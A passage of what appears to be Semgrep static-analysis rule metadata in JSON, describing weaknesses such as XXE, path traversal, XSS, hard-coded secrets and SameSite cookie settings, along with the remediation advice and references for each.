arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","id":"python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","name":"python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","id":"terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","name":"terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state."},"help":{"markdown":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.caching.query-string.flask-cache-query-string)\n","text":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state."},"helpUri":"https://semgrep.dev/r/python.flask.caching.query-string.flask-cache-query-string","id":"python.flask.caching.query-string.flask-cache-query-string","name":"python.flask.caching.query-string.flask-cache-query-string","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.flask.caching.query-string.flask-cache-query-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. "},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. "},"helpUri":"https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","id":"java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","name":"java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","id":"csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","name":"csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","id":"python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","name":"python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","id":"kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","name":"kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.no-direct-response-writer.no-direct-response-writer","id":"java.servlets.security.no-direct-response-writer.no-direct-response-writer","name":"java.servlets.security.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner."},"help":{"markdown":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output)\n - [https://pkg.go.dev/runtime/pprof#Profile](https://pkg.go.dev/runtime/pprof#Profile)\n","text":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner."},"helpUri":"https://semgrep.dev/r/go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","id":"go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","name":"go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml)\n - [https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","id":"typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","name":"typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","id":"go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","name":"go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","id":"python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","name":"python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep 